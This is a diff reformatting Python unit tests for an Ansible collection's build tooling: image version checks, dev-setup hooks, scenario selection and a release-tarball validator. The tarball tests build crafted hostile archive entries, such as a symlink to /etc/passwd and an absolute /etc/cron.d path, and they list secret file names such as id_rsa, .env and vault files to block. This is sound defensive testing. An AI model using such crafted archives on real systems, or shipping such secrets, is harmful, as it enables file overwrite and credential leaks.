".gitea/workflows/image.yml", IMAGE_YML.format(mol="latest", ci="0.2.0")
|
||||
)
|
||||
self.commit("bad version")
|
||||
self.assert_clean_failure(self.bump(), "'latest' is not MAJOR.MINOR.PATCH")
|
||||
|
||||
def test_missing_matrix_keys_is_one_line(self):
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.replace(" version: {mol}\n", "")
|
||||
.format(mol="", ci="0.2.0"))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml",
|
||||
IMAGE_YML.replace(" version: {mol}\n", "").format(
|
||||
mol="", ci="0.2.0"
|
||||
),
|
||||
)
|
||||
self.commit("no version")
|
||||
self.assert_clean_failure(self.bump(), "lacks the key")
|
||||
self.write(".gitea/workflows/image.yml", "jobs: {}\n")
|
||||
@@ -479,7 +705,9 @@ class GitTest(unittest.TestCase):
|
||||
def test_empty_image_yml_says_so(self):
|
||||
self.write(".gitea/workflows/image.yml", "")
|
||||
self.commit("empty matrix")
|
||||
self.assert_clean_failure(self.bump(), "no jobs.image.strategy.matrix.include list")
|
||||
self.assert_clean_failure(
|
||||
self.bump(), "no jobs.image.strategy.matrix.include list"
|
||||
)
|
||||
|
||||
def test_unsupported_dockerfile_source_fails_with_file_and_line(self):
|
||||
self.write("images/ci/Dockerfile", "FROM x\nCOPY $SRC ./\n")
|
||||
@@ -487,13 +715,26 @@ class GitTest(unittest.TestCase):
|
||||
self.assert_clean_failure(self.bump(), "images/ci/Dockerfile:2:")
|
||||
|
||||
def test_pins_mode_requires_lint_yml_and_lists_checked_consumers(self):
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_image_versions.py"), "pins"],
|
||||
cwd=self.repo, capture_output=True, text=True, check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_image_versions.py"), "pins"],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 1, proc.stdout)
|
||||
self.assertIn("lint.yml is missing", proc.stderr)
|
||||
self.write(".gitea/workflows/lint.yml", f"image: git.rkdr.net/mortis/ci:0.1.0@{DIGEST}\n")
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_image_versions.py"), "pins"],
|
||||
cwd=self.repo, capture_output=True, text=True, check=False)
|
||||
self.write(
|
||||
".gitea/workflows/lint.yml",
|
||||
f"image: git.rkdr.net/mortis/ci:0.1.0@{DIGEST}\n",
|
||||
)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_image_versions.py"), "pins"],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 0, proc.stderr)
|
||||
self.assertIn("(checked: .gitea/workflows/lint.yml)", proc.stdout)
|
||||
self.assertNotIn("build.yml", proc.stdout)
|
||||
@@ -513,7 +754,9 @@ class GitTest(unittest.TestCase):
|
||||
|
||||
def test_pinned_input_with_bump_passes(self):
|
||||
self.write("requirements-dev.txt", "a==2\n")
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.1"))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.1")
|
||||
)
|
||||
self.commit("deps and bump")
|
||||
self.assertEqual(self.bump()[0], 0)
|
||||
|
||||
@@ -530,7 +773,9 @@ class GitTest(unittest.TestCase):
|
||||
self.commit("main moves")
|
||||
run(self.repo, "git", "checkout", "-q", "feature")
|
||||
self.write("images/mol/Dockerfile", "FROM y\n")
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.2.0", ci="0.2.0"))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.2.0", ci="0.2.0")
|
||||
)
|
||||
self.commit("mol with bump")
|
||||
self.assertEqual(self.bump()[0], 0)
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# SPDX-FileCopyrightText: Defame1297 and contributors
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Run with: python3 -m unittest discover -s tests/scripts"""
|
||||
|
||||
import io
|
||||
import pathlib
|
||||
import re
|
||||
@@ -20,22 +21,51 @@ import check_tarball # noqa: E402
|
||||
|
||||
class TarballTest(unittest.TestCase):
|
||||
def test_clean(self):
|
||||
self.assertEqual(check_tarball.problems(
|
||||
["README.md", "roles/", "roles/a/tasks/main.yml", "LICENSES/MIT.txt", "tests/sanity/x.txt"]), [])
|
||||
self.assertEqual(
|
||||
check_tarball.problems(
|
||||
[
|
||||
"README.md",
|
||||
"roles/",
|
||||
"roles/a/tasks/main.yml",
|
||||
"LICENSES/MIT.txt",
|
||||
"tests/sanity/x.txt",
|
||||
]
|
||||
),
|
||||
[],
|
||||
)
|
||||
|
||||
def test_stray_top_level(self):
|
||||
for name in (".venv/lib/a.py", "CLAUDE.md", ".claude/settings.json", "importer_result.json", "extensions/m.yml"):
|
||||
for name in (
|
||||
".venv/lib/a.py",
|
||||
"CLAUDE.md",
|
||||
".claude/settings.json",
|
||||
"importer_result.json",
|
||||
"extensions/m.yml",
|
||||
):
|
||||
self.assertEqual(len(check_tarball.problems([name])), 1, name)
|
||||
|
||||
def test_forbidden_inside_allowed(self):
|
||||
self.assertEqual(len(check_tarball.problems(["roles/a/molecule/default/molecule.yml"])), 1)
|
||||
self.assertEqual(
|
||||
len(check_tarball.problems(["roles/a/molecule/default/molecule.yml"])), 1
|
||||
)
|
||||
self.assertEqual(len(check_tarball.problems(["roles/a/files/k.pem"])), 1)
|
||||
self.assertEqual(len(check_tarball.problems(["tests/scripts/t.py"])), 1)
|
||||
|
||||
def test_widened_forbidden_names(self):
|
||||
for name in ("roles/a/files/my_vault.yml", "roles/a/Vault-Pass.txt", "roles/a/vaultfile", "roles/a/id_rsa",
|
||||
"roles/a/files/id_rsa.pub", "roles/a/id_ed25519", "roles/a/.envrc", "roles/a/.env",
|
||||
"roles/a/.env.local", "roles/a/prod.env.bak", "roles/a/.ssh/config", "roles/a/files/.ssh"):
|
||||
for name in (
|
||||
"roles/a/files/my_vault.yml",
|
||||
"roles/a/Vault-Pass.txt",
|
||||
"roles/a/vaultfile",
|
||||
"roles/a/id_rsa",
|
||||
"roles/a/files/id_rsa.pub",
|
||||
"roles/a/id_ed25519",
|
||||
"roles/a/.envrc",
|
||||
"roles/a/.env",
|
||||
"roles/a/.env.local",
|
||||
"roles/a/prod.env.bak",
|
||||
"roles/a/.ssh/config",
|
||||
"roles/a/files/.ssh",
|
||||
):
|
||||
found = check_tarball.problems([name])
|
||||
self.assertEqual(len(found), 1, name)
|
||||
self.assertIn("forbidden pattern", found[0], name)
|
||||
@@ -68,8 +98,16 @@ class TarballTest(unittest.TestCase):
|
||||
self.assertIn(text, found[0], name)
|
||||
|
||||
def test_ordinary_names_still_pass(self):
|
||||
ok = ["roles/a/my file.yml", "roles/a/console.yml", "roles/a/n" * 1 + "x", "roles/a/" + "n" * 255,
|
||||
"roles/a/tasks/auxiliary.yml", "roles/a/.hidden", "roles/a/caf\u00e9.yml", "roles/a/git.yml"]
|
||||
ok = [
|
||||
"roles/a/my file.yml",
|
||||
"roles/a/console.yml",
|
||||
"roles/a/n" * 1 + "x",
|
||||
"roles/a/" + "n" * 255,
|
||||
"roles/a/tasks/auxiliary.yml",
|
||||
"roles/a/.hidden",
|
||||
"roles/a/caf\u00e9.yml",
|
||||
"roles/a/git.yml",
|
||||
]
|
||||
for name in ok:
|
||||
self.assertEqual(check_tarball.problems([name]), [], name)
|
||||
|
||||
@@ -77,7 +115,9 @@ class TarballTest(unittest.TestCase):
|
||||
self.assertEqual(check_tarball.normalize("./a/b"), "a/b")
|
||||
self.assertEqual(check_tarball.normalize("a/b/"), "a/b")
|
||||
self.assertEqual(check_tarball.normalize("a//"), "a/")
|
||||
self.assertEqual(check_tarball.problems(["a//b"])[0].count("empty path component"), 1)
|
||||
self.assertEqual(
|
||||
check_tarball.problems(["a//b"])[0].count("empty path component"), 1
|
||||
)
|
||||
self.assertEqual(len(check_tarball.problems(["roles//a"])), 1)
|
||||
self.assertEqual(len(check_tarball.problems(["roles/a//"])), 1)
|
||||
self.assertEqual(check_tarball.problems(["./roles/a/x.yml", "roles/b/"]), [])
|
||||
@@ -106,71 +146,143 @@ class CraftedTarballTest(unittest.TestCase):
|
||||
tar.addfile(info, io.BytesIO(data) if data else None)
|
||||
|
||||
def check(self):
|
||||
proc = subprocess.run([sys.executable, "-I", str(SCRIPT), str(self.path)], capture_output=True, text=True,
|
||||
check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, "-I", str(SCRIPT), str(self.path)],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return proc.returncode, proc.stderr
|
||||
|
||||
def required(self, skip=()):
|
||||
return [(name, tarfile.REGTYPE, "") for name in sorted(check_tarball.REQUIRED) if name not in skip]
|
||||
return [
|
||||
(name, tarfile.REGTYPE, "")
|
||||
for name in sorted(check_tarball.REQUIRED)
|
||||
if name not in skip
|
||||
]
|
||||
|
||||
def test_legitimate_tarball_passes(self):
|
||||
self.build(*self.required(), ("roles", tarfile.DIRTYPE, ""), ("roles/a/tasks/main.yml", tarfile.REGTYPE, ""),
|
||||
("LICENSES/MIT.txt", tarfile.REGTYPE, ""), ("meta", tarfile.DIRTYPE, ""))
|
||||
self.build(
|
||||
*self.required(),
|
||||
("roles", tarfile.DIRTYPE, ""),
|
||||
("roles/a/tasks/main.yml", tarfile.REGTYPE, ""),
|
||||
("LICENSES/MIT.txt", tarfile.REGTYPE, ""),
|
||||
("meta", tarfile.DIRTYPE, ""),
|
||||
)
|
||||
code, err = self.check()
|
||||
self.assertEqual(code, 0, err)
|
||||
|
||||
def test_required_file_present_only_as_dot_slash_name(self):
|
||||
self.build(*self.required(skip=("COPYING",)), ("./COPYING", tarfile.REGTYPE, ""))
|
||||
self.build(
|
||||
*self.required(skip=("COPYING",)), ("./COPYING", tarfile.REGTYPE, "")
|
||||
)
|
||||
code, err = self.check()
|
||||
self.assertEqual(code, 0, err)
|
||||
|
||||
def test_double_slash_and_dot_slash_paths(self):
|
||||
self.assert_rejected(("a//b", tarfile.REGTYPE, ""), "empty path component")
|
||||
self.assert_rejected(("roles//a/x", tarfile.REGTYPE, ""), "empty path component")
|
||||
self.build(*self.required(), ("./roles/a/x.yml", tarfile.REGTYPE, ""), ("./roles/", tarfile.DIRTYPE, ""))
|
||||
self.assert_rejected(
|
||||
("roles//a/x", tarfile.REGTYPE, ""), "empty path component"
|
||||
)
|
||||
self.build(
|
||||
*self.required(),
|
||||
("./roles/a/x.yml", tarfile.REGTYPE, ""),
|
||||
("./roles/", tarfile.DIRTYPE, ""),
|
||||
)
|
||||
code, err = self.check()
|
||||
self.assertEqual(code, 0, err)
|
||||
|
||||
def test_case_insensitive_duplicates_are_rejected(self):
|
||||
self.assert_rejected(("readme.md", tarfile.REGTYPE, ""), "appears more than once")
|
||||
self.build(*self.required(), ("roles/a/X.yml", tarfile.REGTYPE, ""), ("roles/a/x.YML", tarfile.REGTYPE, ""))
|
||||
self.assert_rejected(
|
||||
("readme.md", tarfile.REGTYPE, ""), "appears more than once"
|
||||
)
|
||||
self.build(
|
||||
*self.required(),
|
||||
("roles/a/X.yml", tarfile.REGTYPE, ""),
|
||||
("roles/a/x.YML", tarfile.REGTYPE, ""),
|
||||
)
|
||||
code, err = self.check()
|
||||
self.assertEqual(code, 1, err)
|
||||
self.assertIn("ignoring case", err)
|
||||
self.build(*self.required(), ("roles/a/X.yml", tarfile.REGTYPE, ""), ("roles/a/y.yml", tarfile.REGTYPE, ""))
|
||||
self.build(
|
||||
*self.required(),
|
||||
("roles/a/X.yml", tarfile.REGTYPE, ""),
|
||||
("roles/a/y.yml", tarfile.REGTYPE, ""),
|
||||
)
|
||||
self.assertEqual(self.check()[0], 0)
|
||||
|
||||
def test_file_and_directory_with_the_same_path_are_rejected(self):
|
||||
self.assert_rejected(("COPYING/x", tarfile.REGTYPE, ""), "COPYING: is both a file and a directory")
|
||||
self.assert_rejected(("copying/x", tarfile.REGTYPE, ""), "is both a file and a directory")
|
||||
self.build(*self.required(), ("roles/a", tarfile.REGTYPE, ""), ("roles/a/x", tarfile.REGTYPE, ""))
|
||||
self.assert_rejected(
|
||||
("COPYING/x", tarfile.REGTYPE, ""),
|
||||
"COPYING: is both a file and a directory",
|
||||
)
|
||||
self.assert_rejected(
|
||||
("copying/x", tarfile.REGTYPE, ""), "is both a file and a directory"
|
||||
)
|
||||
self.build(
|
||||
*self.required(),
|
||||
("roles/a", tarfile.REGTYPE, ""),
|
||||
("roles/a/x", tarfile.REGTYPE, ""),
|
||||
)
|
||||
code, err = self.check()
|
||||
self.assertEqual(code, 1, err)
|
||||
self.assertIn("roles/a: is both a file and a directory", err)
|
||||
|
||||
def test_widened_and_ambiguous_names_through_the_script(self):
|
||||
self.assert_rejected(("roles/a/secrets.vault.yml", tarfile.REGTYPE, ""), "forbidden pattern")
|
||||
self.assert_rejected(("roles/a/CON.txt", tarfile.REGTYPE, ""), "reserved Windows device name")
|
||||
self.assert_rejected(("roles/a/x.", tarfile.REGTYPE, ""), "ends in a space or a dot")
|
||||
self.assert_rejected(
|
||||
("roles/a/secrets.vault.yml", tarfile.REGTYPE, ""), "forbidden pattern"
|
||||
)
|
||||
self.assert_rejected(
|
||||
("roles/a/CON.txt", tarfile.REGTYPE, ""), "reserved Windows device name"
|
||||
)
|
||||
self.assert_rejected(
|
||||
("roles/a/x.", tarfile.REGTYPE, ""), "ends in a space or a dot"
|
||||
)
|
||||
|
||||
def test_real_build_passes(self):
|
||||
"""Build the Collection with ansible-galaxy from a copy of this checkout and check it."""
|
||||
galaxy = shutil.which("ansible-galaxy")
|
||||
if not galaxy:
|
||||
self.skipTest("ansible-galaxy is not on PATH; the Build workflow covers the real archive")
|
||||
self.skipTest(
|
||||
"ansible-galaxy is not on PATH; the Build workflow covers the real archive"
|
||||
)
|
||||
src = pathlib.Path(self.tmp.name) / "src"
|
||||
shutil.copytree(REPO, src, ignore=shutil.ignore_patterns(".git", ".venv", "__pycache__", "output", "*.tar.gz"))
|
||||
shutil.copytree(
|
||||
REPO,
|
||||
src,
|
||||
ignore=shutil.ignore_patterns(
|
||||
".git", ".venv", "__pycache__", "output", "*.tar.gz"
|
||||
),
|
||||
)
|
||||
out = pathlib.Path(self.tmp.name) / "dist"
|
||||
build = subprocess.run([galaxy, "collection", "build", "--force", "--output-path", str(out), str(src)],
|
||||
capture_output=True, text=True, check=False)
|
||||
build = subprocess.run(
|
||||
[
|
||||
galaxy,
|
||||
"collection",
|
||||
"build",
|
||||
"--force",
|
||||
"--output-path",
|
||||
str(out),
|
||||
str(src),
|
||||
],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(build.returncode, 0, build.stderr)
|
||||
tarballs = list(out.glob("mortis-kamino-*.tar.gz"))
|
||||
self.assertEqual(len(tarballs), 1, tarballs)
|
||||
with tarfile.open(tarballs[0]) as tar:
|
||||
names = {check_tarball.normalize(m.name) for m in tar.getmembers() if m.isreg()}
|
||||
names = {
|
||||
check_tarball.normalize(m.name) for m in tar.getmembers() if m.isreg()
|
||||
}
|
||||
self.assertTrue(check_tarball.REQUIRED <= names, check_tarball.REQUIRED - names)
|
||||
proc = subprocess.run([sys.executable, "-I", str(SCRIPT), str(tarballs[0])], capture_output=True, text=True,
|
||||
check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, "-I", str(SCRIPT), str(tarballs[0])],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 0, proc.stderr)
|
||||
|
||||
def assert_rejected(self, entry, text):
|
||||
@@ -180,7 +292,9 @@ class CraftedTarballTest(unittest.TestCase):
|
||||
self.assertIn(text, err)
|
||||
|
||||
def test_symlink_is_rejected(self):
|
||||
self.assert_rejected(("roles/a/link", tarfile.SYMTYPE, "/etc/passwd"), "symlink")
|
||||
self.assert_rejected(
|
||||
("roles/a/link", tarfile.SYMTYPE, "/etc/passwd"), "symlink"
|
||||
)
|
||||
|
||||
def test_hardlink_is_rejected(self):
|
||||
self.assert_rejected(("roles/a/hard", tarfile.LNKTYPE, "README.md"), "hardlink")
|
||||
@@ -196,7 +310,9 @@ class CraftedTarballTest(unittest.TestCase):
|
||||
self.assert_rejected(("/etc/cron.d/x", tarfile.REGTYPE, ""), "absolute")
|
||||
|
||||
def test_empty_component_is_rejected(self):
|
||||
self.assert_rejected(("roles//a/x", tarfile.REGTYPE, ""), "empty path component")
|
||||
self.assert_rejected(
|
||||
("roles//a/x", tarfile.REGTYPE, ""), "empty path component"
|
||||
)
|
||||
|
||||
def test_git_component_is_rejected(self):
|
||||
self.assert_rejected(("roles/a/.git", tarfile.DIRTYPE, ""), "'.git'")
|
||||
@@ -205,20 +321,35 @@ class CraftedTarballTest(unittest.TestCase):
|
||||
def test_case_variants_are_rejected(self):
|
||||
self.assert_rejected(("roles/a/.GIT/config", tarfile.REGTYPE, ""), "'.git'")
|
||||
self.assert_rejected(("roles/a/.Git", tarfile.DIRTYPE, ""), "'.git'")
|
||||
self.assert_rejected(("roles/a/Molecule/default/m.yml", tarfile.REGTYPE, ""), "forbidden pattern")
|
||||
self.assert_rejected(("roles/a/files/K.PEM", tarfile.REGTYPE, ""), "forbidden pattern")
|
||||
self.assert_rejected(("tests/Scripts/t.py", tarfile.REGTYPE, ""), "forbidden pattern")
|
||||
self.assert_rejected(
|
||||
("roles/a/Molecule/default/m.yml", tarfile.REGTYPE, ""), "forbidden pattern"
|
||||
)
|
||||
self.assert_rejected(
|
||||
("roles/a/files/K.PEM", tarfile.REGTYPE, ""), "forbidden pattern"
|
||||
)
|
||||
self.assert_rejected(
|
||||
("tests/Scripts/t.py", tarfile.REGTYPE, ""), "forbidden pattern"
|
||||
)
|
||||
|
||||
def test_backslash_is_rejected(self):
|
||||
self.assert_rejected(("roles\\a\\x.yml", tarfile.REGTYPE, ""), "backslash")
|
||||
|
||||
def test_control_and_zero_width_characters_are_rejected(self):
|
||||
for name in ("roles/a/x\u200b.yml", "roles/a/x\n.yml", "roles/a/\u202ex.yml", "roles/a/x\ty"):
|
||||
for name in (
|
||||
"roles/a/x\u200b.yml",
|
||||
"roles/a/x\n.yml",
|
||||
"roles/a/\u202ex.yml",
|
||||
"roles/a/x\ty",
|
||||
):
|
||||
self.assert_rejected((name, tarfile.REGTYPE, ""), "control or invisible")
|
||||
|
||||
def test_duplicate_member_is_rejected(self):
|
||||
self.assert_rejected(("README.md", tarfile.REGTYPE, ""), "appears more than once")
|
||||
self.assert_rejected(("./README.md", tarfile.REGTYPE, ""), "appears more than once")
|
||||
self.assert_rejected(
|
||||
("README.md", tarfile.REGTYPE, ""), "appears more than once"
|
||||
)
|
||||
self.assert_rejected(
|
||||
("./README.md", tarfile.REGTYPE, ""), "appears more than once"
|
||||
)
|
||||
|
||||
def test_empty_archive_is_rejected(self):
|
||||
self.build()
|
||||
@@ -242,14 +373,20 @@ class CraftedTarballTest(unittest.TestCase):
|
||||
def test_unreadable_archive_is_one_line(self):
|
||||
self.path.write_bytes(b"not a tarball at all")
|
||||
self.assert_one_line_failure(self.path, "cannot read")
|
||||
self.assert_one_line_failure(pathlib.Path(self.tmp.name) / "missing.tar.gz", "cannot read")
|
||||
self.assert_one_line_failure(
|
||||
pathlib.Path(self.tmp.name) / "missing.tar.gz", "cannot read"
|
||||
)
|
||||
self.build(*self.required())
|
||||
self.path.write_bytes(self.path.read_bytes()[:40]) # truncated
|
||||
self.assert_one_line_failure(self.path, "cannot read")
|
||||
|
||||
def assert_one_line_failure(self, path, text):
|
||||
proc = subprocess.run([sys.executable, "-I", str(SCRIPT), str(path)], capture_output=True, text=True,
|
||||
check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, "-I", str(SCRIPT), str(path)],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 1, proc.stderr)
|
||||
self.assertNotIn("Traceback", proc.stderr)
|
||||
self.assertIn(text, proc.stderr)
|
||||
@@ -257,7 +394,9 @@ class CraftedTarballTest(unittest.TestCase):
|
||||
|
||||
def test_existing_rules_still_apply(self):
|
||||
self.assert_rejected((".venv/bin/x", tarfile.REGTYPE, ""), "top-level entry")
|
||||
self.assert_rejected(("roles/a/molecule/default/m.yml", tarfile.REGTYPE, ""), "forbidden pattern")
|
||||
self.assert_rejected(
|
||||
("roles/a/molecule/default/m.yml", tarfile.REGTYPE, ""), "forbidden pattern"
|
||||
)
|
||||
|
||||
|
||||
class BuildWorkflowTest(unittest.TestCase):
|
||||
@@ -269,9 +408,19 @@ class BuildWorkflowTest(unittest.TestCase):
|
||||
def test_pruned_directories_are_not_built(self):
|
||||
workflow = (REPO / ".gitea" / "workflows" / "build.yml").read_text()
|
||||
pruned = set(re.findall(r"-path \./(\S+) -prune", workflow))
|
||||
self.assertTrue(pruned, "no -prune target found in build.yml; update this test with the step")
|
||||
ignored = set(yaml.safe_load((REPO / "galaxy.yml").read_text())["build_ignore"]) | self.DEFAULT_EXCLUDED
|
||||
self.assertEqual(sorted(pruned - ignored), [], "build.yml prunes a directory that the build does not skip")
|
||||
self.assertTrue(
|
||||
pruned,
|
||||
"no -prune target found in build.yml; update this test with the step",
|
||||
)
|
||||
ignored = (
|
||||
set(yaml.safe_load((REPO / "galaxy.yml").read_text())["build_ignore"])
|
||||
| self.DEFAULT_EXCLUDED
|
||||
)
|
||||
self.assertEqual(
|
||||
sorted(pruned - ignored),
|
||||
[],
|
||||
"build.yml prunes a directory that the build does not skip",
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -54,14 +54,20 @@ exit 0
|
||||
"""
|
||||
|
||||
|
||||
@unittest.skipUnless(shutil.which("bash") and shutil.which("git"), "bash and git are required")
|
||||
@unittest.skipUnless(
|
||||
shutil.which("bash") and shutil.which("git"), "bash and git are required"
|
||||
)
|
||||
class DevSetupTest(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.tmp = Path(tempfile.mkdtemp(prefix="kamino-devsetup-"))
|
||||
self.addCleanup(shutil.rmtree, self.tmp, True)
|
||||
self.stubs = self.tmp / "stubs"
|
||||
self.stubs.mkdir()
|
||||
for name, body in (("python", PYTHON_STUB), ("pip", PIP_STUB), ("pre-commit", PRECOMMIT_STUB)):
|
||||
for name, body in (
|
||||
("python", PYTHON_STUB),
|
||||
("pip", PIP_STUB),
|
||||
("pre-commit", PRECOMMIT_STUB),
|
||||
):
|
||||
path = self.stubs / name
|
||||
path.write_text(body)
|
||||
path.chmod(0o755)
|
||||
@@ -80,9 +86,15 @@ class DevSetupTest(unittest.TestCase):
|
||||
"KAMINO_PYTHON": str(self.stubs / "python"),
|
||||
}
|
||||
|
||||
def git(self, repo: Path, *args: str, check: bool = True) -> subprocess.CompletedProcess:
|
||||
return subprocess.run(["git", "-C", str(repo), *args], env=self.env, check=check,
|
||||
capture_output=True)
|
||||
def git(
|
||||
self, repo: Path, *args: str, check: bool = True
|
||||
) -> subprocess.CompletedProcess:
|
||||
return subprocess.run(
|
||||
["git", "-C", str(repo), *args],
|
||||
env=self.env,
|
||||
check=check,
|
||||
capture_output=True,
|
||||
)
|
||||
|
||||
def make_repo(self, name: str = "repo") -> Path:
|
||||
repo = self.tmp / name
|
||||
@@ -92,13 +104,23 @@ class DevSetupTest(unittest.TestCase):
|
||||
self.git(repo, "init", "--quiet")
|
||||
return repo
|
||||
|
||||
def run_setup(self, repo: Path, cwd: Path | None = None, **extra: str) -> subprocess.CompletedProcess:
|
||||
def run_setup(
|
||||
self, repo: Path, cwd: Path | None = None, **extra: str
|
||||
) -> subprocess.CompletedProcess:
|
||||
env = {**self.env, **extra}
|
||||
return subprocess.run(["bash", str(repo / "scripts" / "dev-setup.sh")], env=env,
|
||||
cwd=str(cwd or repo), capture_output=True, text=True, check=False)
|
||||
return subprocess.run(
|
||||
["bash", str(repo / "scripts" / "dev-setup.sh")],
|
||||
env=env,
|
||||
cwd=str(cwd or repo),
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
|
||||
def hooks_z(self, repo: Path) -> bytes:
|
||||
return self.git(repo, "config", "--local", "-z", "--get-all", "core.hooksPath", check=False).stdout
|
||||
return self.git(
|
||||
repo, "config", "--local", "-z", "--get-all", "core.hooksPath", check=False
|
||||
).stdout
|
||||
|
||||
def add_hooks_path(self, repo: Path, *values: str) -> None:
|
||||
for value in values:
|
||||
@@ -164,7 +186,9 @@ class DevSetupTest(unittest.TestCase):
|
||||
|
||||
def test_multi_valued_setting_is_restored(self) -> None:
|
||||
repo = self.make_repo()
|
||||
self.add_hooks_path(repo, ".git/hooks", str(repo / ".git" / "hooks"), "./.git/hooks/")
|
||||
self.add_hooks_path(
|
||||
repo, ".git/hooks", str(repo / ".git" / "hooks"), "./.git/hooks/"
|
||||
)
|
||||
before = self.hooks_z(repo)
|
||||
result = self.run_setup(repo)
|
||||
self.assertEqual(result.returncode, 0, result.stderr)
|
||||
@@ -223,8 +247,10 @@ class DevSetupTest(unittest.TestCase):
|
||||
result = self.run_setup(repo, cwd=other)
|
||||
self.assertEqual(result.returncode, 0, result.stderr)
|
||||
self.assertFalse((other / ".venv").exists())
|
||||
self.assertEqual(os.listdir(other / ".git" / "hooks"),
|
||||
[n for n in os.listdir(other / ".git" / "hooks") if n.endswith(".sample")])
|
||||
self.assertEqual(
|
||||
os.listdir(other / ".git" / "hooks"),
|
||||
[n for n in os.listdir(other / ".git" / "hooks") if n.endswith(".sample")],
|
||||
)
|
||||
self.assertTrue((repo / ".venv").is_dir())
|
||||
self.assertTrue(self.hook(repo).exists())
|
||||
|
||||
@@ -234,8 +260,14 @@ class DevSetupTest(unittest.TestCase):
|
||||
self.assertEqual(result.returncode, 0, result.stderr)
|
||||
workdir = self.tmp / "hookcwd"
|
||||
workdir.mkdir()
|
||||
hook = subprocess.run([str(self.hook(repo))], env={**self.env}, cwd=str(workdir),
|
||||
capture_output=True, text=True, check=False)
|
||||
hook = subprocess.run(
|
||||
[str(self.hook(repo))],
|
||||
env={**self.env},
|
||||
cwd=str(workdir),
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(hook.returncode, 0, hook.stderr)
|
||||
lines = hook.stdout.splitlines()
|
||||
self.assertEqual(lines[0], "hook-ran")
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# SPDX-FileCopyrightText: Defame1297 and contributors
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Run with: python3 -m unittest discover -s tests/scripts"""
|
||||
|
||||
import contextlib
|
||||
import io
|
||||
import os
|
||||
@@ -28,15 +29,30 @@ ALL = [
|
||||
|
||||
class SelectTest(unittest.TestCase):
|
||||
def test_role_change_selects_only_that_role(self):
|
||||
chosen, _reason = sel.select(ALL, ["roles/docker/tasks/main.yml", "roles/docker/molecule/default/verify.yml"])
|
||||
chosen, _reason = sel.select(
|
||||
ALL,
|
||||
["roles/docker/tasks/main.yml", "roles/docker/molecule/default/verify.yml"],
|
||||
)
|
||||
self.assertEqual(chosen, ["roles/docker/molecule/default"])
|
||||
|
||||
def test_two_roles(self):
|
||||
chosen, _reason = sel.select(ALL, ["roles/fail2ban/defaults/main.yml", "roles/docker/meta/main.yml"])
|
||||
self.assertEqual(chosen, ["roles/docker/molecule/default", "roles/fail2ban/molecule/default"])
|
||||
chosen, _reason = sel.select(
|
||||
ALL, ["roles/fail2ban/defaults/main.yml", "roles/docker/meta/main.yml"]
|
||||
)
|
||||
self.assertEqual(
|
||||
chosen, ["roles/docker/molecule/default", "roles/fail2ban/molecule/default"]
|
||||
)
|
||||
|
||||
def test_ignored_only_selects_nothing(self):
|
||||
chosen, _reason = sel.select(ALL, ["docs/x.md", "changelogs/fragments/a.yml", "README.md", "images/ci/Dockerfile"])
|
||||
chosen, _reason = sel.select(
|
||||
ALL,
|
||||
[
|
||||
"docs/x.md",
|
||||
"changelogs/fragments/a.yml",
|
||||
"README.md",
|
||||
"images/ci/Dockerfile",
|
||||
],
|
||||
)
|
||||
self.assertEqual(chosen, [])
|
||||
|
||||
def test_ignored_does_not_mask_a_role(self):
|
||||
@@ -44,10 +60,17 @@ class SelectTest(unittest.TestCase):
|
||||
self.assertEqual(chosen, ["roles/docker/molecule/default"])
|
||||
|
||||
def test_anything_else_selects_everything(self):
|
||||
for path in ("galaxy.yml", "meta/runtime.yml", "plugins/modules/x.py", "extensions/molecule/image-smoke/molecule.yml",
|
||||
".gitea/workflows/molecule.yml", "scripts/select_molecule_scenarios.py",
|
||||
"tests/unit/x.py",
|
||||
"new_top_level_file", "roles/README.md"):
|
||||
for path in (
|
||||
"galaxy.yml",
|
||||
"meta/runtime.yml",
|
||||
"plugins/modules/x.py",
|
||||
"extensions/molecule/image-smoke/molecule.yml",
|
||||
".gitea/workflows/molecule.yml",
|
||||
"scripts/select_molecule_scenarios.py",
|
||||
"tests/unit/x.py",
|
||||
"new_top_level_file",
|
||||
"roles/README.md",
|
||||
):
|
||||
chosen, _reason = sel.select(ALL, ["roles/docker/tasks/main.yml", path])
|
||||
self.assertEqual(chosen, ALL, path)
|
||||
|
||||
@@ -76,7 +99,11 @@ class MainTest(unittest.TestCase):
|
||||
return code, out.getvalue().split(), err.getvalue()
|
||||
|
||||
def make_repo(self, root):
|
||||
